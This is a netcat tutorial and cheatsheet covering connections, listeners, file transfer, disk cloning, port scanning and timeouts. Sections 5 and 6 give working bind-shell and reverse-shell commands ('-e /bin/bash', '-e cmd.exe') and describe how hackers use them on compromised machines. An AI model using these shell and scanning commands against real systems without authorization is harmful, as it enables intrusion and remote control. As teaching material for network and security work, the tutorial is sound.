Never Ending Security

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Netcat Commands Cheatsheet


Netcat is a terminal application that is similar to the telnet program but has lot more features. Its a “power version” of the traditional telnet program. Apart from basic telnet functionas it can do various other things like creating socket servers to listen for incoming connections on ports, transfer files from the terminal etc. So it is a small tool that is packed with lots of features. Therefore its called the “Swiss-army knife for TCP/IP”.

The netcat manual defines netcat as:

Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable “back-end” device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.


So basicalnetcatly netcat is a tool to do some bidirectional network communication over the TCP/UDP protocols. More technically speaking, netcat can act as a socket server or client and interact with other programs at the same time sending and receiving data through the network. Such a definition sounds too generic and make it difficult to understand what exactly this tool does and what is it useful for. This can be understood only by using and playing with it.

So the first thing to do would be to setup netcat on your machine. Netcat comes in various flavors. Means it is available from multiple vendors. But most of them have similar functionality. On ubuntu there are 3 packages called netcat-openbsd, netcat-traditional and ncat.

Preferred version is ncat. Ncat has been developed by the nmap team is the best of all netcats available and most importantly its cross platform and works very well on windows.

Ncat – Netcat for the 21st Century

Ncat is a feature-packed networking utility which reads and writes data across networks from the command line. Ncat was written for the Nmap Project as a much-improved reimplementation of the venerable Netcat. It uses both TCP and UDP for communication and is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users. Ncat will not only work with IPv4 and IPv6 but provides the user with a virtually limitless number of potential uses.

Download and install netcat


Windows version of netcat can be downloaded from

Simply download and extract the files somewhere suitable.

Or download ncat windows version


Ubuntu syntaptic package has netcat-openbsd and netcat-traditional packages available. Install both of them. Nmap also comes with a netcat implementation called ncat. Install that too.

Project websites

Install on Ubuntu

$ sudo apt-get install netcat-traditional netcat-openbsd nmap

To use netcat-openbsd implementation use “nc” command.
To use netcat-traditional implementation use “nc.traditional” command
To use nmap ncat use the “ncat” command.

In the following tutorial we are going to use all of them in different examples in different ways.

1. Telnet

The very first thing netcat can be used as is a telnet program. Lets see how.

$ nc -v 80

Now netcat is connected to on port 80 and its time to send some message. Lets try to fetch the index page. For this type “GET index.html HTTP/1.1″ and hit the Enter key twice. Remember twice.

$ nc -v 80
Connection to 80 port [tcp/http] succeeded!
GET index.html HTTP/1.1

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Aug 2012 06:03:04 GMT
Server: sffe
Content-Length: 219
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<H1>302 Moved</H1>
The document has moved
<A HREF="">here</A>.

The output from has been received and echoed on the terminal.

2. Simple socket server

To open a simple socket server type in the following command.

$ nc -l -v 1234

The above command means : Netcat listen to TCP port 1234. The -v option gives verbose output for better understanding. Now from another terminal try to connect to port 1234 using telnet command as follows :

$ telnet localhost 1234
Connected to localhost.
Escape character is '^]'.
ting tongserver

After connecting we send some test message like abc and ting tong to the netcat socket server. The netcat socket server will echo the data received from the telnet client.

$ nc -l -v 5555

Connection from port 5555 [tcp/rplay] accepted
ting tong

This is a complete Chatting System. Type something in netcat terminal and it will show up in telnet terminal as well. So this technique can be used for chatting between 2 machines.

Complete ECHO Server

Ncat with the -c option can be used to start a echo server. Source

Start the echo server using ncat as follows

$ ncat -v -l -p 5555 -c 'while true; do read i && echo [echo] $i; done'

Now from another terminal connect using telnet and type something. It will be send back with “[echo]” prefixed. The netcat-openbsd version does not have the -c option. Remember to always use the -v option for verbose output.

Note : Netcat can be told to save the data to a file instead of echoing it to the terminal.

$ nc -l -v 1234 > data.txt

UDP ports

Netcat works with udp ports as well. To start a netcat server using udp ports use the -u option

$ nc -v -ul 7000

Connect to this server using netcat from another terminal

$ nc localhost -u 7000

Now both terminals can chat with each other.

$ netstat | grep 7000
udp        0      0 localhost:42634         localhost:7000          ESTABLISHED

3. File transfer

A whole file can be transferred with netcat. Here is a quick example.

One machine A – Send File

$ cat happy.txt | ncat -v -l -p 5555
Ncat: Version 5.21 ( )
Ncat: Listening on

In the above command, the cat command reads and outputs the content of happy.txt. The output is not echoed to the terminal, instead is piped or fed to ncat which has opened a socket server on port 5555.

On machine B – Receive File

$ ncat localhost 5555 > happy_copy.txt

In the above command ncat will connect to localhost on port 5555 and whatever it receives will be written to happy_copy.txt

Now happy_copy.txt will be a copy of happy.txt since the data being send over port 5555 is the content of happy.txt in the previous command.

Netcat will send the file only to the first client that connects to it. After that its over.
And after the first client closes down connection, netcat server will also close down the connection.

4. Port scanning

Netcat can also be used for port scanning. However this is not a proper use of netcat and a more applicable tool like nmap should be used.

$ nc -v -n -z -w 1 75-85
nc: connect to port 75 (tcp) failed: Connection refused
nc: connect to port 76 (tcp) failed: Connection refused
nc: connect to port 77 (tcp) failed: Connection refused
nc: connect to port 78 (tcp) failed: Connection refused
nc: connect to port 79 (tcp) failed: Connection refused
Connection to 80 port [tcp/*] succeeded!
nc: connect to port 81 (tcp) failed: Connection refused
nc: connect to port 82 (tcp) failed: Connection refused
nc: connect to port 83 (tcp) failed: Connection refused
nc: connect to port 84 (tcp) failed: Connection refused
nc: connect to port 85 (tcp) failed: Connection refused

The “-n” parameter here prevents DNS lookup, “-z” makes nc not receive any data from the server, and “-w 1″ makes the connection timeout after 1 second of inactivity.

5. Remote Shell/Backdoor

Ncat can be used to start a basic shell on a remote system on a port without the need of ssh. Here is a quick example.

$ ncat -v -l -p 7777 -e /bin/bash

The above will start a server on port 7777 and will pass all incoming input to bash command and the results will be send back. The command basically converts the bash program into a server. So netcat can be used to convert any process into a server.

Connect to this bash shell using nc from another terminal

$ nc localhost 7777

Now try executing any command like help , ls , pwd etc.


On windows machine the cmd.exe (dos prompt program) is used to start a similar shell using netcat. The syntax of the command is same.

C:\tools\nc>nc -v -l -n -p 8888 -e cmd.exe
listening on [any] 8888 ...
connect to [] from (UNKNOWN) [] 1182

Now another console can connect using the telnet command

Although netcat though can be used to setup remote shells, is not useful to get an interactive shell on a remote system because in most cases netcat would not be installed on a remote system.

The most effective method to get a shell on a remote machine using netcat is by creating reverse shells.

6. Reverse Shells

This is the most powerful feature of netcat for which it is most used by hackers. Netcat is used in almost all reverse shell techniques to catch the reverse connection of shell program from a hacked system.

Reverse telnet

First lets take an example of a simple reverse telnet connection. In ordinate telnet connection the client connects to the server to start a communication channel.

Your system runs (# telnet server port_number)  =============> Server

Now using the above technique you can connect to say port 80 of the server to fetch a webpage. However a hacker is interested in getting a command shell. Its the command prompt of windows or the terminal of linux. The command shell gives ultimate control of the remote system. Now there is no service running on the remote server to which you can connect and get a command shell.

So when a hacker hacks into a system, he needs to get a command shell. Since its not possible directly, the solution is to use a reverse shell. In a reverse shell the server initiates a connection to the hacker’s machine and gives a command shell.

Step 1 : Hacker machine (waiting for incoming connection)
Step 2 : Server ==============> Hacker machine

To wait for incoming connections, a local socket listener has to be opened. Netcat/ncat can do this.
First a netcat server has to be started on local machine or the hacker’s machine.

machine A

$ ncat -v -l -p 8888
Ncat: Version 6.00 ( )
Ncat: Listening on :::8888
Ncat: Listening on

The above will start a socket server (listener) on port 8888 on local machine/hacker’s machine.

Now a reverse shell has to be launched on the target machine/hacked machine. There are a number of ways to launch reverse shells.

For any method to work, the hacker either needs to be able to execute arbitrary command on the system or should be able to upload a file that can be executed by opening from the browser (like a php script).

In this example we are not doing either of the above mentioned things. We shall just run netcat on the server also to throw a reverse command shell to demonstrate the concept. So netcat should be installed on the server or target machine.

Machine B :

$ ncat localhost 8888 -e /bin/bash

This command will connect to machine A on port 8888 and feed in the output of bash effectively giving a shell to machine A. Now machine A can execute any command on machine B.

Machine A

$ ncat -v -l -p 8888
Ncat: Version 5.21 ( )
Ncat: Listening on
Ncat: Connection from

In a real hacking/penetration testing scenario its not possible to run netcat on target machine. Therefore other techniques are employed to create a shell. These include uploading reverse shell php scripts and running them by opening them in browser. Or launching a buffer overflow exploit to execute reverse shell payload.

7. Copying A File From One System To The Other

Let’s say we want to copy the file config.tar.gz from server1 to server2. To do this, run


nc -lp 1234 > config.tar.gz

on server2 (1234 is some unused port – you can replace it with another value if you like). server2 will then wait for the file config.tar.gz on port 1234.

On server1, run

nc -w 1 1234 < config.tar.gz

to start the file transfer.

8. Cloning Hard Drives & Partitions

You can use netcat even to clone hard drives/partitions over the network. In this example, I want to clone /dev/sda from server1 to server2. Of course, the to-be-cloned partitions must be unmounted on the target system, so if you want to clone the system partition, you must boot the target system (server2) from a rescue system or Live-CD such as Knoppix. Please keep in mind that the target system’s IP address might change under the live system (you can find out by running ifconfig). server2’s IP address in this example is instead of


nc -l -p 1234 | dd of=/dev/sda

Afterwards, on server1, run

dd if=/dev/sda | nc 1234

to start the cloning process. This can take some time, depending on the size of the hard drive or partitions.

9. Port Scanning

On server1, you can scan for open ports on server2 as follows:

nc -v -w 1 -z 1-1000

(1-1000 means: scan ports from port number 1 to port number 1000.)

You can also scan ports on the local system:

nc -v -w 1 localhost -z 1-1000

10. Serving Web Pages

You can even use netcat to act as a web server:

while true; do nc -l -p 80 -q 1 < somepage.html; done

would serve the page somepage.html until you close the terminal window.

11. Spoofing HTTP Headers

You can use netcat to request web pages:

nc 80

You can then type in headers as follows:

GET / HTTP/1.1
User-Agent: my-browser

As you see, this allows you to make up your own referrers and browser (User-Agent). After you’ve typed in your headers, press ENTER twice, and the requested page will appear (including the headers sent back by the remote server):

server2:~# nc 80
GET / HTTP/1.1
User-Agent: my-browser

HTTP/1.1 200 OK
Date: Fri, 28 Nov 2008 14:11:49 GMT
Server: Apache/2.2.3 (Debian) mod_ssl/2.2.3 OpenSSL/0.9.8c
Last-Modified: Wed, 26 Nov 2008 19:34:17 GMT
ETag: "228c707-21b1-b6b7e040"
Accept-Ranges: bytes
Content-Length: 8625
Content-Type: text/html


12. Chatting

You can even use netcat to chat from one system to the other on the command line.


nc -lp 1234

server2 will then wait until server1 connects on port 1234.

On server1, run

nc 1234

Now you can type in messages on either system and press ENTER, and they will appear on the other system. To close the chat, press CTRL+C on either system.

13. Netcat Supports Timeouts

There are cases when we do not want a connection to remain open forever. In that case, through ‘-w’ switch we can specify the timeout in a connection. So after the seconds specified along with -w flag, the connection between the client and server is terminated.

Server :

nc -l 2389

Client :

$ nc -w 10 localhost 2389

The connection above would be terminated after 10 seconds.

NOTE : Do not use the -w flag with -l flag at the server side as in that case -w flag causes no effect and hence the connection remains open forever.

14. Netcat Supports IPV6 Connectivity

The flag -4 or -6 specifies that netcat utility should use which type of addresses. -4 forces nc to use IPV4 address while -6 forces nc to use IPV6 address.

Server :

$ nc -4 -l 2389

Client :

$ nc -4 localhost 2389

Now, if we run the netstat command, we see :

$ netstat | grep 2389
tcp        0      0 localhost:2389          localhost:50851         ESTABLISHED
tcp        0      0 localhost:50851         localhost:2389          ESTABLISHED

The first field in the above output would contain a postfix ’6′ in case the IPV6 addresses are being used. Since in this case it is not, so a connection between server and client is established using IPV4 addresses.

Now, If we force nc to use IPV6 addresses

Server :

$ nc -6 -l 2389

Client :

$ nc -6 localhost 2389

Now, if we run the netstat command, we see :

$ netstat | grep 2389
tcp6       0      0 localhost:2389          localhost:33234         ESTABLISHED
tcp6       0      0 localhost:33234         localhost:2389          ESTABLISHED

So now a postfix ’6′ with ‘tcp’ shows that nc is now using IPV6 addresses.

15. Force Netcat Server to Stay Up

If the netcat client is connected to the server and then after sometime the client is disconnected then normally netcat server also terminates.

Server :

$ nc -l 2389

Client :

$ nc localhost 2389

Server :

$ nc -l 2389

So, in the above example we see that as soon as the client got disconnected the server was also terminated.

This behavior can be controlled by using the -k flag at the server side to force the server to stay up even after the client has disconnected.

Server :

$ nc -k -l 2389

Client :

$ nc localhost 2389

Server :

$ nc -k -l 2389

So we see that by using the -k option the server remains up even if the client got disconnected.

16. Configure Netcat Client to Stay Up after EOF

Netcat client can be configured to stay up after EOF is received. In a normal scenario, if the nc client receives an EOF character then it terminates immediately but this behavior can also be controlled if the -q flag is used. This flag expects a number which depicts number of seconds to wait before client terminates (after receiving EOF)

Client should be started like :

nc  -q 5  localhost 2389

Now if the client ever receives an EOF then it will wait for 5 seconds before terminating.


So in the above examples we saw how to use netcat for different network activities like telnet, reverse shells etc. Hackers mostly use it for creating quick reverse shells.

In this tutorial we covered some of the basic and common uses of netcat. Check out the wikipedia article, man page and developers sites for more information on what else netcat can do.


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